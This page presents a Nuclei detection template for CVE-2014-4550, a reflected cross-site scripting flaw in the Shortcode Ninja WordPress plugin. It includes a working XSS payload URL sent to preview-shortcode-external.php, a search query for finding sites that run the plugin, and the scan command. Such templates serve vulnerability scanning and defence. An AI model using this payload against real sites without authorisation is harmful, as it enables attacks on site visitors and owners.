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Shortcode Ninja <= 1.4 - Cross-Site Scripting

ID: CVE-2014-4550

Severity: medium

Author: daffainfo

Tags: cve2014,cve,wordpress,wp-plugin,xss,wpscan,unauth,visualshortcodes

Description

Section titled “Description”

A cross-site scripting vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter.

YAML Source

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id: CVE-2014-4550


info:
  name: Shortcode Ninja <= 1.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter.
  impact: |
    Allows remote attackers to inject arbitrary web script or HTML via crafted shortcode parameters, leading to potential session hijacking, defacement of web pages, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Shortcode Ninja plugin (1.4 or higher) to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c7c24c7d-5341-43a6-abea-4a50fce9aab0
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4550
    - http://codevigilant.com/disclosure/wp-plugin-shortcode-ninja-a3-cross-site-scripting-xss
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4550
    cwe-id: CWE-79
    epss-score: 0.00135
    epss-percentile: 0.48556
    cpe: cpe:2.3:a:visualshortcodes:ninja:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: visualshortcodes
    product: ninja
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/shortcode-ninja\""
  tags: cve2014,cve,wordpress,wp-plugin,xss,wpscan,unauth,visualshortcodes
flow: http(1) && http(2)


http:
  - method: GET
    path:
      - "{{BaseURL}}"


    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/shortcode-ninja/'


  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/shortcode-ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-4550.yaml"

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